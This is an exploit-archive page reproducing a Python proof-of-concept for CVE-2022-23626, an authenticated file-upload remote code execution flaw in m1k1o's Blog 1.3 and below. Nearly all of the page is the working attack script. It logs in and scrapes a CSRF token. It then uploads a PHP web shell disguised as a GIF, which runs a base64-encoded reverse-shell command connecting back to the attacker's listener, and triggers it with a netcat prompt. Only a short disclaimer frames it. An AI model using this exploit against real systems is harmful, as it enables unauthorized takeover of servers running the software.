Advertisement






m1k1os Blog v.10 Remote Code Execution (RCE) (Authenticated)

CVE Category Price Severity
CVE-2022-23626 CWE-77 N/A High
Author Risk Exploitation Type Date
m1k1os High Remote 2022-05-24
CPE
cpe:No specific CPE URI string provided
Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2022050080

Below is a copy:

m1k1os Blog v.10 Remote Code Execution (RCE) (Authenticated)
# Exploit Title: m1k1o's Blog v.10 - Remote Code Execution (RCE) (Authenticated)
# Date: 2022-01-06
# Exploit Author: Malte V
# Vendor Homepage: https://github.com/m1k1o/blog
# Software Link: https://github.com/m1k1o/blog/archive/refs/tags/v1.3.zip
# Version: 1.3 and below
# Tested on: Linux
# CVE : CVE-2022-23626

import argparse
import json
import re
from base64 import b64encode
import requests as req
from bs4 import BeautifulSoup

parser = argparse.ArgumentParser(description='Authenticated RCE File Upload Vulnerability for m1k1o\'s Blog')
parser.add_argument('-ip', '--ip', help='IP address for reverse shell', type=str, default='172.17.0.1', required=False)
parser.add_argument('-u', '--url', help='URL of machine without the http:// prefix', type=str, default='localhost',
                    required=False)
parser.add_argument('-p', '--port', help='Port for the Blog', type=int, default=8081,
                    required=False)
parser.add_argument('-lp', '--lport', help='Listening port for reverse shell', type=int, default=9999,
                    required=False)
parser.add_argument('-U', '--username', help='Username for Blog user', type=str, default='username', required=False)
parser.add_argument('-P', '--password', help='Password for Blog user', type=str, default='password', required=False)

args = vars(parser.parse_args())

username = args['username']
password = args['password']
lhost_ip = args['ip']
lhost_port = args['lport']
address = args['url']
port = args['port']
url = f"http://{address}:{port}"

blog_cookie = ""
csrf_token = ""
exploit_file_name = ""
header = {
    "Host": f"{address}",
    "Content-Type": "multipart/form-data; boundary=---------------------------13148889121752486353560141292",
    "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0",
    "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9",
    "X-Requested-With": "XMLHttpRequest",
    "Csrf-Token": f"{csrf_token}",
    "Cookie": f"PHPSESSID={blog_cookie}"
}


def get_cookie(complete_url):
    global blog_cookie
    cookie_header = {}
    if not blog_cookie:
        cookie_header['Cookie'] = f"PHPSESSID={blog_cookie}"
    result = req.get(url=complete_url, headers=cookie_header)
    if result.status_code == 200:
        blog_cookie = result.cookies.get_dict()['PHPSESSID']
        print(f'[+] Found PHPSESSID: {blog_cookie}')
        grep_csrf(result)


def grep_csrf(result):
    global csrf_token
    csrf_regex = r"[a-f0-9]{10}"
    soup = BeautifulSoup(result.text, 'html.parser')
    script_tag = str(soup.findAll('script')[1].contents[0])
    csrf_token = re.search(csrf_regex, script_tag).group(0)
    print(f'[+] Found CSRF-Token: {csrf_token}')


def login(username, password):
    get_cookie(url)
    login_url = f"{url}/ajax.php"
    login_data = f"action=login&nick={username}&pass={password}"
    login_header = {
        "Host": f"{address}",
        "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
        "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0",
        "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9",
        "X-Requested-With": "XMLHttpRequest",
        "Csrf-Token": f"{csrf_token}",
        "Cookie": f"PHPSESSID={blog_cookie}"
    }
    result = req.post(url=login_url, headers=login_header, data=login_data)
    soup = BeautifulSoup(result.text, 'html.parser')
    login_content = json.loads(soup.text)
    if login_content.get('logged_in'):
        print('[*] Successful login')
    else:
        print('[!] Bad login')


def set_cookie(result):
    global blog_cookie
    blog_cookie = result.cookies.get_dict()['PHPSESSID']


def generate_payload(command):
    return f"""
-----------------------------13148889121752486353560141292
Content-Disposition: form-data; name="file"; filename="malicious.gif.php"
Content-Type: application/x-httpd-php

GIF<?php system(base64_decode('{b64encode(bytes(command, 'utf-8')).decode('ascii')}')); ?>;
-----------------------------13148889121752486353560141292--
"""


def send_payload():
    payload_header = {
        "Host": f"{address}",
        "Content-Type": "multipart/form-data; boundary=---------------------------13148889121752486353560141292",
        "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0",
        "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9",
        "X-Requested-With": "XMLHttpRequest",
        "Csrf-Token": f"{csrf_token}",
        "Cookie": f"PHPSESSID={blog_cookie}"
    }
    upload_url = f"http://{address}:{port}/ajax.php?action=upload_image"
    command = f"php -r '$sock=fsockopen(\"{lhost_ip}\",{lhost_port});exec(\"/bin/bash <&3 >&3 2>&3\");'"
    payload = generate_payload(command)
    print(f"[+] Upload exploit")
    result = req.post(url=upload_url, headers=payload_header, data=payload, proxies= {"http": "http://127.0.0.1:8080"})
    set_exploit_file_name(result.content.decode('ascii'))


def set_exploit_file_name(data):
    global exploit_file_name
    file_regex = r"[a-zA-Z0-9]{4,5}.php"
    exploit_file_name = re.search(file_regex, data).group(0)


def call_malicious_php(file_name):
    global header
    complete_url = f"{url}/data/i/{file_name}"
    print('[*] Calling reverse shell')
    result = req.get(url=complete_url)


def check_reverse_shell():
    yes = {'yes', 'y', 'ye', ''}
    no = {'no', 'n'}
    choice = input("Have you got an active netcat listener (y/Y or n/N): ")
    if choice in yes:
        return True
    elif choice in no:
        print(f"[!] Please open netcat listener with \"nc -lnvp {lhost_port}\"")
        return False

def main():
    enabled_listener = check_reverse_shell()
    if enabled_listener:
        login(username, password)
        send_payload()
        call_malicious_php(exploit_file_name)


if __name__ == "__main__":
    main()

Copyright ©2024 Exploitalert.

This information is provided for TESTING and LEGAL RESEARCH purposes only.
All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use and Privacy Policy and Impressum